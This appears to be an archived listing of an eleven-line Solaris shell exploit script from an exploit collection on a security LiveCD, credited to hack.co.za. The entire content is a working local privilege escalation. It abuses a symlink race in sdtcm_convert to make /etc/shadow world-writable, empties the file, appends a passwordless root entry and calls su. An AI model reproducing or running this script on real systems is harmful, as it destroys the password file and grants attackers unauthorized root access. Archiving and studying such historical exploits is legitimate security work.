home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / calender.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  278b  |  11 lines

  1. #!/bin/sh
  2.  
  3. ln -s /etc/shadow /tmp/calorig.$USER
  4. /usr/dt/bin/sdtcm_convert -d /tmp -v 3 $USER
  5. ls -l /etc/shadow
  6. chmod 644 /etc/shadow
  7. cp /dev/null /etc/shadow
  8. ls -l /etc/shadow
  9. echo "root::6445::::::" >> /etc/shadow
  10. su
  11. #                 www.hack.co.za           [2000]#